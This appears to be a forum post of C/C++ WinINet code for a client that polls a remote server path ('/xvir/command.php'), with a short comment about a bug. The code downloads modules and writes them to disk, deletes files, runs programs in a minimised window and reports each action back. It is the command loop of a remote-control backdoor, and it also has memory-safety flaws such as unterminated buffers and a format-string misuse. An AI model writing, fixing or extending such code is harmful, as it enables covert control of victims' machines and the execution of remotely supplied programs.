Code:
LPCSTR Check()
{
LPCSTR buff;
LPCSTR other;
DWORD count;
DWORD countr;
HINTERNET hRequest;
hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
INTERNET_FLAG_RELOAD, 0);
if(HttpSendRequest(hRequest, NULL, 0, NULL, 0) == FALSE)
{
Append(hEdit, "Damnit.");
} //line fails on 3rd DEL ???
InternetQueryDataAvailable(hRequest, &count, 0, 0);
buff = new char[count];
InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
return buff;
}
bool Interpret(LPCSTR buff)
{
bool ret = false;
char* command = (char*)malloc(3);
char* arg;
Append(hEdit, (char*)buff); Append(hEdit, "\r\n");
strncpy(command, buff,3);
if(strcmp(command,"LLL") != 0)
{
Append(hEdit, command); Append(hEdit, "\r\n");
arg = (char*)malloc(strlen(buff)-4);
strncpy(arg, buff+4, strlen(buff)-4);
Append(hEdit, arg); Append(hEdit, "\r\n\r\n");
}
if(strcmp(command,"MOD") == 0)
{
HINTERNET hReq;
char* b;
DWORD count, countr, total;
hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/modsize.php?mod=",arg),NULL,NULL,NULL,
INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq, NULL, 0, NULL, 0);
InternetQueryDataAvailable(hReq, &count, 0, 0);
char* buff = (char*)malloc(count);
InternetReadFile(hReq, (LPVOID)buff, count, &countr);
Append(hEdit, buff); Append(hEdit, "\r\n\r\n");
int modlen = atoi(buff);
hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/module.php?mod=",arg),NULL,NULL,NULL,
INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq, NULL, 0, NULL, 0);
char* module = (char*)malloc(modlen);
countr = 1;
total = 0;
while(countr > 0 && total < modlen)
{
b = (char*)malloc(modlen+1);
InternetReadFile(hReq, (LPVOID)b, modlen, &countr);
memcpy(module+total, b, strlen(b));
total += countr;
}
Append(hEdit, module);Append(hEdit,"\r\n\r\n");
FILE *modf;
modf = fopen(arg, "wb");
fprintf(modf, module);
fclose(modf);
hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq,NULL,0,NULL,0);
free(b);
}
else if(strcmp(command,"DEL") == 0)
{
HINTERNET hReq;
DeleteFile(arg);
hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq,NULL,0,NULL,0);
}
else if(strcmp(command,"RUN") == 0)
{
HINTERNET hReq;
ShellExecute(NULL, "open", arg, "", NULL, SW_SHOWMINNOACTIVE);
hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq,NULL,0,NULL,0);
}
else if(strcmp(command,"LLL") == 0)
{
Append(hEdit, "No Commands");Append(hEdit, "\r\n\r\n");
}
free(command);
free(arg);
return ret;
}
Append appends text to an edit control.